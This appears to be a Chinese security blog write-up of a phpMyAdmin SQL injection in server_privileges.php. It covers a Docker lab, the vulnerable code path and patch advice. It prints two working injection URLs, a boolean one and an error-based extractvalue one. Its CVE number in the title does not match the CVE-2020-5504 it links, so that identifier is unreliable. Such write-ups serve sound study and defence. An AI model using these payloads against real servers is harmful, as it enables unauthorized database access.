CVE-2020-0554:phpMyAdmin後台SQL注入

  • 2020 年 3 月 17 日
  • 筆記

本文作者:li9hu(Timeline Sec基礎組成員)

本文共1021字,閱讀大約需要3~4分鐘

聲明:請勿做非法用途,否則後果自負

0x01 簡介

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。

0x02 漏洞概述

用戶介面SQL執行語句存在可控變數,且未對可控參數進行過濾直接拼接。可造成低許可權用戶越權執行SQL指令。

0x03 影響版本

前提:已知一個用戶名密碼

phpMyAdmin 4 < 4.9.4

phpMyAdmin 5 < 5.0.1

0x04 環境搭建

在線環境: 轉發本文至朋友圈並截圖發至公眾號內 自行搭建: 本次復現環境使用PhpMyAdmin4.5.0版本,使用docker搭建。

git clone https://github.com/Paper-Pen/TLSHUB.git  cd TLSHUB/phpAdmin/  docker-compose up -d  docker ps

訪問頁面http://xx.xx.xx.xx:8001 資料庫帳號密碼root/li9hu

環境搭建好了,可以開始進行漏洞復現了

0x05 漏洞復現

簡單總結流程:

頁面位置server_privileges.php;

設置變數ajax_requests為true;

設置變數validate_username 為真值;

設置變數username 為我們拼接的注入語句。

構造payload:

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

(token和其餘參數會在訪問頁面的時候自動提供)

我們查看後端收到的數據,可以看到SQL已經成功拼接。

執行完畢後程式只會告知SQL是否執行成功,失敗會報錯,因此此處我們可以利用報錯注入。

構造payload:

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

結果如下,可以看到已經成功執行了我們注入的指令。

0x06 漏洞分析

定位到文件libraries/server_privileges.lib.php,此處就是SQL注入存在點,username和validate_username都可控,我們往上回溯定位if所在的函數。

可以看到if處於PMA_getExtraDataForAjaxBehavior函數內。下一步使用phpsotorm快捷鍵ctrl+B定位到觸發此函數的點。

跳轉到文件server_privileges.php可以看到$extra_data觸發了此函數,處於一個if內,下一步快捷鍵ctrl+shift+F全局搜索變數is_ajax_request,看看是否可控讓其為真值。

跳轉到文件libraries/common.inc.php這裡有可控變數ajax_request只要給它附true就可以返回true了。

0x07 修復方式

更新官方最新修補程式

參考鏈接:

https://nvd.nist.gov/vuln/detail/CVE-2020-5504

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/tree/master/phpMyadmin/CVE-2020-0554